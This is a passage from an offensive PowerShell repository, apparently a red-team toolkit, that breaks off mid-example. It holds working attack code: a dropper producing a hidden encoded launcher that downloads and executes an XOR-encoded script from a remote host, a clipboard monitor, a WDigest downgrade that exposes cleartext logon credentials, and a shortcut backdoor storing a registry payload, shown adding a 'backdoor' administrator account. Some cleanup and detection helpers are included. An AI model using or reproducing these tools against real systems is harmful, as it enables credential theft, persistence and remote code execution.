├── README.md ├── LICENSE ├── Out-EncryptedScriptDropper.ps1 ├── Start-ClipboardMonitor.ps1 ├── ShellCommands.ps1 ├── Invoke-WdigestDowngrade.ps1 ├── BackdoorLNK.ps1 ├── Invoke-PsExec.ps1 ├── Get-System.ps1 └── Invoke-FindDebuggerBackdoors.ps1 /README.md: -------------------------------------------------------------------------------- 1 | #Misc-PowerShell 2 | Misc. PowerShell scripts. 3 | 4 | All scripts in here are BSD 3-clause licensed unless otherwise noted. 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Will Schroeder 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of Misc-PowerShell nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | 29 | -------------------------------------------------------------------------------- /Out-EncryptedScriptDropper.ps1: -------------------------------------------------------------------------------- 1 | function Out-EncryptedScriptDropper { 2 | [CmdletBinding()] Param ( 3 | [Parameter(Position = 0, Mandatory = $True)] 4 | [String] 5 | $ScriptPath, 6 | 7 | [Parameter(Position = 1, Mandatory = $True)] 8 | [String] 9 | $DownloadURI, 10 | 11 | [Parameter(Position = 2)] 12 | [String] 13 | $OutFile = '.\out' 14 | ) 15 | 16 | function Invoke-RandomizeCase { 17 | param($s) 18 | ($s.ToCharArray() | %{ 19 | if(Get-Random $true,$false){ 20 | $_.ToString().ToUpper() 21 | } 22 | else{ 23 | $_.ToString().ToLower() 24 | } 25 | }) -join "" 26 | } 27 | 28 | # generate a random key to XOR the script 29 | $r=1..16|ForEach-Object{Get-Random -max 61}; 30 | $XORKey=('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789'[$r] -join ''); 31 | 32 | $code = (Get-Content -Encoding Ascii -Path $ScriptPath | Out-String) 33 | $code = $code.trim() 34 | 35 | # XOR the code with the specified $XORKey 36 | $i=0; 37 | $a=([byte[]]([char[]]($code)|%{$_-bXor$XORKey[$i++%$XORKey.Length]})); 38 | 39 | # write the binary "encrypted" script out to the specified location 40 | Set-content $OutFile $a -encoding byte 41 | 42 | # build the decoder stub with randomized casing where possible 43 | $decoder = Invoke-RandomizeCase '$WC=NEw-ObjECt SYStEm.Net.WEbCLIEnt;$k="' 44 | $decoder += $XORKey 45 | $decoder += Invoke-RandomizeCase '";$i=0;[char[]]$b=([char[]]($wC.DOwNLoadSTRING("' 46 | $decoder += $DownloadURI 47 | $decoder += Invoke-RandomizeCase '")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join"")' 48 | $decoder 49 | # base64 encode the stub and output the launcher 50 | $enc = (iex "cmd /c echo {$decoder}").split(" ")[1] 51 | 52 | "`nlaunching command: `n" 53 | "powershell -w hidden -nop -noni -enc $enc" 54 | "`nencrypted script to host at $DownloadURI : $OutFile`n" 55 | } 56 | 57 | # EX- Out-EncryptedScriptDropper -ScriptPath .\test.ps1 -DownloadURI "http://192.168.52.146/out" 58 | -------------------------------------------------------------------------------- /Start-ClipboardMonitor.ps1: -------------------------------------------------------------------------------- 1 | function Start-ClipboardMonitor { 2 | <# 3 | .SYNOPSIS 4 | 5 | Monitors the clipboard on a specified interval for changes to copied text. 6 | 7 | PowerSploit Function: Start-ClipboardMonitor 8 | Author: @harmj0y 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .PARAMETER CollectionLimit 14 | 15 | Specifies the interval in minutes to capture clipboard text. Defaults to indefinite collection. 16 | 17 | .PARAMETER PollInterval 18 | 19 | Interval (in seconds) to check the clipboard for changes, defaults to 15 seconds. 20 | 21 | .EXAMPLE 22 | 23 | Start-ClipboardMonitor -CollectionLimit 120 24 | 25 | .LINK 26 | 27 | http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/ 28 | #> 29 | 30 | [CmdletBinding()] Param ( 31 | [Parameter(Position = 1)] 32 | [UInt32] 33 | $CollectionLimit, 34 | 35 | [Parameter(Position = 2)] 36 | [UInt32] 37 | $PollInterval = 15 38 | ) 39 | 40 | Add-Type -AssemblyName System.Windows.Forms 41 | 42 | # calculate the stop time if one is specified 43 | if($CollectionLimit) { 44 | $StopTime = (Get-Date).AddMinutes($CollectionLimit) 45 | } 46 | else { 47 | $StopTime = (Get-Date).AddYears(10) 48 | } 49 | 50 | $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) 51 | "=== Get-ClipboardContents Starting at $TimeStamp ===`n" 52 | 53 | # used to check if the contents have changed 54 | $PrevLength = 0 55 | $PrevFirstChar = "" 56 | 57 | for(;;){ 58 | if ((Get-Date) -lt $StopTime){ 59 | 60 | # stolen/adapted from http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/ 61 | $tb = New-Object System.Windows.Forms.TextBox 62 | $tb.Multiline = $true 63 | $tb.Paste() 64 | 65 | # only output clipboard data if it's changed 66 | if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){ 67 | # if the length isn't 0, the length has changed, and the first character 68 | # has changed, assume the clipboard has changed 69 | # YES I know there might be edge cases :) 70 | if($PrevFirstChar -ne ($tb.Text)[0]){ 71 | $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) 72 | "`n=== $TimeStamp ===`n" + $tb.Text 73 | $PrevFirstChar = ($tb.Text)[0] 74 | $PrevLength = $tb.Text.Length 75 | } 76 | } 77 | } 78 | else{ 79 | $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) 80 | "`n=== Get-ClipboardContents Shutting down at $TimeStamp ===`n" 81 | Break; 82 | } 83 | Start-Sleep -s $PollInterval 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /ShellCommands.ps1: -------------------------------------------------------------------------------- 1 | # Pure PowerShell/WMI replacements for various shell commands 2 | # Most of these came from development of the Empire agent 3 | 4 | function Get-Route { 5 | $adapters = @{} 6 | Get-WmiObject Win32_NetworkAdapterConfiguration | %{ $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress } 7 | Get-WmiObject win32_IP4RouteTable | %{ 8 | $out = New-Object psobject 9 | $out | Add-Member Noteproperty 'Destination' $_.Destination 10 | $out | Add-Member Noteproperty 'Netmask' $_.Mask 11 | if ($_.NextHop -eq "0.0.0.0"){ 12 | $out | Add-Member Noteproperty 'NextHop' "On-link" 13 | } 14 | else{ 15 | $out | Add-Member Noteproperty 'NextHop' $_.NextHop 16 | } 17 | if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")){ 18 | $out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",") 19 | } 20 | else { 21 | $out | Add-Member Noteproperty 'Interface' '127.0.0.1' 22 | } 23 | $out | Add-Member Noteproperty 'Metric' $_.Metric1 24 | $out 25 | } | ft -autosize 26 | } 27 | 28 | function Get-Tasklist { 29 | $owners = @{} 30 | Get-WmiObject win32_process | % {$o = $_.getowner(); if(-not $($o.User)){$o="N/A"} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o} 31 | Get-Process | % { 32 | $arch = "x64" 33 | if ([System.IntPtr]::Size -eq 4){ 34 | $arch = "x86" 35 | } 36 | else{ 37 | foreach($module in $_.modules) { 38 | if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") { 39 | $arch = "x86" 40 | break 41 | } 42 | } 43 | } 44 | $out = New-Object psobject 45 | $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName 46 | $out | Add-Member Noteproperty 'PID' $_.ID 47 | $out | Add-Member Noteproperty 'Arch' $arch 48 | $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()] 49 | $mem = "{0:N2} MB" -f $($_.WS/1MB) 50 | $out | Add-Member Noteproperty 'MemUsage' $mem 51 | $out 52 | } | Sort-Object -Property PID | ft -wrap 53 | } 54 | 55 | function Get-NetStat { 56 | Get-WmiObject -class "Win32_NetworkAdapterConfiguration" | ? {$_.IPEnabled -Match "True"} | % { 57 | $out = New-Object psobject 58 | $out | Add-Member Noteproperty 'Description' $_.Description 59 | $out | Add-Member Noteproperty 'MACAddress' $_.MACAddress 60 | $out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled 61 | $out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",") 62 | $out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",") 63 | $out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",") 64 | $out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",") 65 | $out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName 66 | $out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",") 67 | $out 68 | } | fl 69 | } 70 | -------------------------------------------------------------------------------- /Invoke-WdigestDowngrade.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-LockWorkStation { 2 | # region define P/Invoke types dynamically 3 | # stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 4 | # thanks matt and chris :) 5 | $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') 6 | $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 7 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) 8 | 9 | $TypeBuilder = $ModuleBuilder.DefineType('Win32.User32', 'Public, Class') 10 | $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 11 | $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') 12 | $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, 13 | @('User32.dll'), 14 | [Reflection.FieldInfo[]]@($SetLastError), 15 | @($True)) 16 | 17 | # Define [Win32.User32]::LockWorkStation() 18 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('LockWorkStation', 19 | 'User32.dll', 20 | ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), 21 | [Reflection.CallingConventions]::Standard, 22 | [Bool], 23 | [Type[]]@(), 24 | [Runtime.InteropServices.CallingConvention]::Winapi, 25 | [Runtime.InteropServices.CharSet]::Ansi) 26 | $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) 27 | 28 | $User32 = $TypeBuilder.CreateType() 29 | 30 | $Null = $User32::LockWorkStation() 31 | } 32 | 33 | 34 | function Invoke-WdigestDowngrade { 35 | <# 36 | .SYNOPSIS 37 | Explicitly sets Wdigest on a Windows 8.1/Server 2012 machine to use logon credentials. 38 | Locks the screen after so the user must retype their password. 39 | 40 | License: BSD 3-Clause 41 | Author: @harmj0y 42 | 43 | .PARAMETER NoLock 44 | Doesn't lock the screen after registry set. 45 | 46 | .PARAMETER Cleanup 47 | Removes the registry key to force UseLogonCredential. 48 | 49 | .LINK 50 | https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/ 51 | 52 | #> 53 | [CmdletBinding()] 54 | Param ( 55 | [Switch] $NoLock, 56 | [Switch] $Cleanup 57 | ) 58 | 59 | $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() 60 | 61 | if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) 62 | { 63 | throw 'Administrative rights required. Execute this script from an elevated PowerShell prompt.' 64 | } 65 | 66 | if($Cleanup){ 67 | try { 68 | Remove-ItemProperty -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -ErrorAction Stop 69 | Write-Verbose "Wdigest set to not use logoncredential." 70 | } 71 | catch { 72 | Write-Verbose "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential not set" 73 | } 74 | } 75 | else{ 76 | Set-ItemProperty -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value "1" 77 | Write-Verbose "Wdigest set to use logoncredential." 78 | 79 | if(-not $NoLock){ 80 | Invoke-LockWorkStation 81 | } 82 | } 83 | } -------------------------------------------------------------------------------- /BackdoorLNK.ps1: -------------------------------------------------------------------------------- 1 | function Set-LNKBackdoor { 2 | <# 3 | .SYNOPSIS 4 | 5 | Backdoors an existing .LNK shortcut to trigger the original binary and a payload specified by 6 | -ScriptBlock or -Command. 7 | 8 | Author: @harmj0y 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | This function will take the path to an existing .LNK file and backdoor it to launch a specified payload 16 | along with the original binary. It uses a WScript.Shell COM object to manipulate the shortcut, 17 | building a small cradle that uses [System.Diagnostics.Process]::Start() to launch the original 18 | $LNK.TargetPath binary, and then decode a base64-encoded PowerShell payload that's stored in the 19 | registry at -RegPath (to avoid length restrictions). 20 | 21 | If a PowerShell -ScriptBlock is passed as the payload argument, the scriptblock is ASCII 22 | base64-encoded and used. If a PowerShell -Command is passed, the string is base64-encoded if 23 | it is not already and that is used instead. 24 | 25 | .PARAMETER Path 26 | 27 | The full path to an existing .LNK. 28 | 29 | .PARAMETER ScriptBlock 30 | 31 | A PowerShell scriptblock to trigger for the payload. 32 | 33 | .PARAMETER Command 34 | 35 | A string of PowerShell code to trigger for the payload. 36 | 37 | .PARAMETER RegPath 38 | 39 | The registry path in HKCU/HKLM to store the encoded payload. 40 | 41 | .EXAMPLE 42 | 43 | PS C:\Users\localadmin\Desktop> Set-LNKBackdoor -Path .\dnSpy.lnk -Command 'net user backdoor Password123! /add && net l 44 | ocalgroup Administrators backdoor /add' 45 | 46 | 47 | WorkingDirectory : C:\StudentResources\dnSpy 48 | IconLocation : ,0 49 | LaunchString : [System.Diagnostics.Process]::Start('C:\StudentResources\dnSpy\dnSpy.exe');IEX 50 | ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows 51 | debug).debug))) 52 | RegBase64Payload : bmV0IHVzZXIgYmFja2Rvb3IgUGFzc3dvcmQxMjMhIC9hZGQgJiYgbmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgYmFja2Rv 53 | b3IgL2FkZA== 54 | Path : C:\Users\localadmin\Desktop\dnSpy.lnk 55 | LaunchCommand : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcA 56 | bgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBDADoAXABTAHQAdQBkAGUAbgB0AFIAZQBz 57 | AG8AdQByAGMAZQBzAFwAZABuAFMAcAB5AFwAZABuAFMAcAB5AC4AZQB4AGUAJwApADsASQBFAFgAIAAoAFsAVABlAHgAdAAuAEUA 58 | bgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBG 59 | AHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkA 60 | YwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABkAGUAYgB1AGcAKQAuAGQAZQBiAHUAZwApACkAKQA= 61 | RegPath : HKCU:\Software\Microsoft\Windows\debug 62 | 63 | 64 | Stores a base64-encoded representation of the passed -Command into HKCU:\Software\Microsoft\Windows\debug 65 | and sets the shortcut at C:\Users\localadmin\Desktop\dnSpy.lnk to launch the original 66 | dnSpy binary and then decode/trigger the registry payload. 67 | 68 | .LINK 69 | 70 | http://windowsitpro.com/powershell/working-shortcuts-windows-powershell 71 | http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html 72 | https://github.com/samratashok/nishang 73 | http://blog.trendmicro.com/trendlabs-security-intelligence/black-magic-windows-powershell-used-again-in-new-attack/ 74 | #> 75 | [CmdletBinding(DefaultParameterSetName = 'ScriptBase64')] 76 | Param( 77 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 78 | [ValidateScript({Test-Path -Path $_ })] 79 | [String] 80 | $Path, 81 | 82 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'ScriptBlock')] 83 | [ValidateNotNullOrEmpty()] 84 | [System.Management.Automation.ScriptBlock] 85 | $ScriptBlock, 86 | 87 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'ScriptBase64')] 88 | [ValidateNotNullOrEmpty()] 89 | [String] 90 | $Command, 91 | 92 | [Parameter(Position = 2)] 93 | [ValidatePattern('^[HKCU|HKLM]:\\.*')] 94 | [String] 95 | $RegPath = 'HKCU:\Software\Microsoft\Windows\debug' 96 | ) 97 | 98 | if ($PSBoundParameters['ScriptBlock']) { 99 | $Base64Script = [Convert]::ToBase64String(([Text.Encoding]::ASCII).GetBytes($ScriptBlock)) 100 | } 101 | else { 102 | # check if the command passed is already base64-encoded 103 | if($Command -match '^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$') { 104 | $Base64Script = $Command 105 | } 106 | else { 107 | $Base64Script = [Convert]::ToBase64String(([Text.Encoding]::ASCII).GetBytes($Command)) 108 | } 109 | } 110 | 111 | $RegParts = $RegPath.Split('\') 112 | $RegistryPayloadPath = $RegParts[0..($RegParts.Count-2)] -join '\' 113 | $RegistryPayloadKey = $RegParts[-1] 114 | 115 | # create a COM object for the LNK 116 | $Obj = New-Object -ComObject WScript.Shell 117 | $LNKPath = (Resolve-Path -Path $Path).Path 118 | $LNK = $Obj.CreateShortcut($LNKPath) 119 | 120 | # save off the old .LNK parameters 121 | $OriginalTargetPath = $LNK.TargetPath 122 | $OriginalWorkingDirectory = $LNK.WorkingDirectory 123 | $OriginalIconLocation = $LNK.IconLocation 124 | 125 | # store the encoded script into the specified registry key 126 | $Null = Set-ItemProperty -Force -Path $RegistryPayloadPath -Name $RegistryPayloadKey -Value $Base64Script 127 | 128 | # trojanize in our new link arguments 129 | $LNK.TargetPath = "${Env:SystemRoot}\System32\WindowsPowerShell\v1.0\powershell.exe" 130 | 131 | # set the .LNK to launch the original binary path first before our functionality 132 | $LaunchString = "[System.Diagnostics.Process]::Start('$OriginalTargetPath');IEX ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp $RegistryPayloadPath $RegistryPayloadKey).$RegistryPayloadKey)))" 133 | 134 | $LaunchBytes = [System.Text.Encoding]::UNICODE.GetBytes($LaunchString) 135 | $LaunchB64 = [System.Convert]::ToBase64String($LaunchBytes) 136 | 137 | $LNK.Arguments = "-nop -enc $LaunchB64" 138 | 139 | # make sure to match the old working directory 140 | $LNK.WorkingDirectory = $OriginalWorkingDirectory 141 | $LNK.IconLocation = "$OriginalTargetPath,0" 142 | $LNK.WindowStyle = 7 # hidden 143 | $LNK.Save() 144 | 145 | $Properties = @{ 146 | 'Path' = $LNKPath 147 | 'RegPath' = $RegPath 148 | 'RegBase64Payload' = $Base64Script 149 | 'WorkingDirectory' = $OriginalWorkingDirectory 150 | 'LaunchString' = $LaunchString 151 | 'LaunchCommand' = "$($LNK.TargetPath) $($LNK.Arguments)" 152 | 'IconLocation' = $OriginalIconLocation 153 | } 154 | New-Object -TypeName PSObject -Property $Properties 155 | } 156 | 157 | 158 | function Get-LNKBackdoor { 159 | <# 160 | .SYNOPSIS 161 | 162 | Retrieves LNK backdoor information for a specified LNK modified by Set-LNKBackdoor. 163 | 164 | Author: @harmj0y 165 | License: BSD 3-Clause 166 | Required Dependencies: None 167 | Optional Dependencies: None 168 | 169 | .DESCRIPTION 170 | 171 | This function will take the path to a .LNK backdoored by Set-LNKBackdoor and extract out relevant 172 | LNK information from the properties in the .LNK. 173 | 174 | .EXAMPLE 175 | 176 | PS C:\Users\localadmin\Desktop> Get-LNKBackdoor .\dnSpy.lnk 177 | 178 | 179 | WorkingDirectory : C:\StudentResources\dnSpy 180 | IconLocation : C:\StudentResources\dnSpy\dnSpy.exe,0 181 | LaunchString : [System.Diagnostics.Process]::Start('C:\StudentResources\dnSpy\dnSpy.exe');IEX 182 | ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows 183 | debug).debug))) 184 | RegBase64Payload : bmV0IHVzZXIgYmFja2Rvb3IgUGFzc3dvcmQxMjMhIC9hZGQgJiYgbmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgYmFja2Rv 185 | b3IgL2FkZA== 186 | Path : C:\Users\localadmin\Desktop\dnSpy.lnk 187 | LaunchCommand : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcA 188 | bgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBDADoAXABTAHQAdQBkAGUAbgB0AFIAZQBz 189 | AG8AdQByAGMAZQBzAFwAZABuAFMAcAB5AFwAZABuAFMAcAB5AC4AZQB4AGUAJwApADsASQBFAFgAIAAoAFsAVABlAHgAdAAuAEUA 190 | bgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBG 191 | AHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkA 192 | YwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABkAGUAYgB1AGcAKQAuAGQAZQBiAHUAZwApACkAKQA= 193 | RegPath : HKCU:\Software\Microsoft\Windows\debug 194 | #> 195 | [CmdletBinding()] 196 | Param( 197 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 198 | [ValidateScript({Test-Path -Path $_ })] 199 | [ValidatePattern('^.*\.lnk$')] 200 | [Alias('FullName')] 201 | [String[]] 202 | $Path 203 | ) 204 | 205 | PROCESS { 206 | ForEach($TargetPath in $Path) { 207 | 208 | $TargetPath = (Resolve-Path -Path $TargetPath).Path 209 | 210 | # create a COM object for the LNK 211 | $Obj = New-Object -ComObject WScript.Shell 212 | $LNK = $Obj.CreateShortcut($TargetPath) 213 | 214 | $Index = $LNK.Arguments.IndexOf('-enc') 215 | 216 | if($Index -ne -1) { 217 | 218 | $EncodedCommand = $LNK.Arguments.SubString($Index + 5) 219 | 220 | $LaunchString = ([Text.Encoding]::UNICODE).GetString([Convert]::FromBase64String($EncodedCommand)) 221 | 222 | $RegistryPaths = $LaunchString.SubString($LaunchString.IndexOf('gp HK')).Split(' ') 223 | $RegistryPayloadPath = $RegistryPaths[1] 224 | $RegistryPayloadKey = $RegistryPaths[2].split(')')[0] 225 | 226 | $RegBase64Payload = (Get-ItemProperty -Path $RegistryPayloadPath -Name $RegistryPayloadKey).$RegistryPayloadKey 227 | 228 | $Properties = @{ 229 | 'Path' = $TargetPath 230 | 'RegPath' = "$RegistryPayloadPath\$RegistryPayloadKey" 231 | 'RegBase64Payload' = $RegBase64Payload 232 | 'WorkingDirectory' = $LNK.WorkingDirectory 233 | 'LaunchString' = $LaunchString 234 | 'LaunchCommand' = "$($LNK.TargetPath) $($LNK.Arguments)" 235 | 'IconLocation' = $LNK.IconLocation 236 | } 237 | New-Object -TypeName PSObject -Property $Properties 238 | } 239 | } 240 | } 241 | } 242 | 243 | 244 | function Remove-LNKBackdoor { 245 | <# 246 | .SYNOPSIS 247 | 248 | Removes the LNK backdoor for a specified LNK modified by Set-LNKBackdoor. 249 | 250 | Author: @harmj0y 251 | License: BSD 3-Clause 252 | Required Dependencies: None 253 | Optional Dependencies: None 254 | 255 | .DESCRIPTION 256 | 257 | This function will take the path to a .LNK backdoored by Set-LNKBackdoor, extract out relevant 258 | LNK information with Get-LNKBackdoor, will restore the original $LNK.TargetPath, and will remove 259 | the registry payload. 260 | 261 | .EXAMPLE 262 | 263 | PS C:\> Remove-LNKBackdoor -LNKPath C:\Users\john\Desktop\Firefox.lnk 264 | 265 | Remove the registry payload and restore the original shortcut executable path. 266 | 267 | .EXAMPLE 268 | 269 | PS C:\Users\localadmin\Desktop> Get-Item .\dnSpy.lnk | Get-LNKBackdoor | Remove-LNKBackdoor -Verbose 270 | VERBOSE: Removing registry payload from HKCU:\Software\Microsoft\Windows\debug 271 | VERBOSE: Restoring original LNK path to C:\StudentResources\dnSpy\dnSpy.exe 272 | 273 | Remove the registry payload and restore the original shortcut executable path. 274 | #> 275 | [CmdletBinding()] 276 | Param( 277 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 278 | [ValidateScript({Test-Path -Path $_ })] 279 | [ValidatePattern('^.*\.lnk$')] 280 | [Alias('FullName')] 281 | [String[]] 282 | $Path 283 | ) 284 | 285 | PROCESS { 286 | ForEach($TargetPath in $Path) { 287 | 288 | $TargetPath = Resolve-Path -Path $TargetPath 289 | $Obj = New-Object -ComObject WScript.Shell 290 | $LNK = $Obj.CreateShortcut($TargetPath) 291 | 292 | $LNKObject = Get-LNKBackdoor -Path $TargetPath 293 | $OriginalPath = $LNKObject.LaunchString.split("'")[1] 294 | 295 | if($OriginalPath -and ($OriginalPath.Trim() -ne '') ) { 296 | $RegPath = $LNKObject.RegPath 297 | $RegParts = $RegPath.Split('\') 298 | $RegistryPayloadPath = $RegParts[0..($RegParts.Count-2)] -join '\' 299 | $RegistryPayloadKey = $RegParts[-1] 300 | 301 | Write-Verbose "Removing registry payload from $RegPath" 302 | try { 303 | $Null = Remove-ItemProperty -Force -Path $RegistryPayloadPath -Name $RegistryPayloadKey -ErrorAction Stop 304 | } 305 | catch { 306 | Write-Warning "Error removing registry payload from $RegPath : $_" 307 | } 308 | 309 | Write-Verbose "Restoring original LNK path to $OriginalPath" 310 | $LNK.TargetPath = $OriginalPath 311 | $LNK.Arguments = $Null 312 | $LNK.WindowStyle = 1 313 | $LNK.Save() 314 | } 315 | else { 316 | Write-Warning "OriginalPath is empty." 317 | } 318 | } 319 | } 320 | } 321 | 322 | 323 | function Find-LNKBackdoor { 324 | <# 325 | .SYNOPSIS 326 | 327 | Finds all .LNKs backdoored with Set-LNKBackdoor. 328 | 329 | Author: @harmj0y 330 | License: BSD 3-Clause 331 | Required Dependencies: None 332 | Optional Dependencies: None 333 | 334 | .DESCRIPTION 335 | 336 | This function will search for all .LNK files in the specified path (default of C:\Users\) 337 | and will retrieve the LNK information with Get-LNKBackdoor. If any $LNK.LaunchCommand paths 338 | match 'powershell.exe -nop -enc' the LNK description object is output. 339 | 340 | .EXAMPLE 341 | 342 | PS C:\> Find-LNKBackdoor 343 | 344 | 345 | WorkingDirectory : C:\StudentResources\dnSpy 346 | IconLocation : C:\StudentResources\dnSpy\dnSpy.exe,0 347 | LaunchString : [System.Diagnostics.Process]::Start('C:\StudentResources\dnSpy\dnSpy.exe');IEX 348 | ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows 349 | debug).debug))) 350 | RegBase64Payload : bmV0IHVzZXIgYmFja2Rvb3IgUGFzc3dvcmQxMjMhIC9hZGQgJiYgbmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgYmFja2Rv 351 | b3IgL2FkZA== 352 | Path : C:\Users\localadmin\Desktop\dnSpy.lnk 353 | LaunchCommand : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcA 354 | bgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBDADoAXABTAHQAdQBkAGUAbgB0AFIAZQBz 355 | 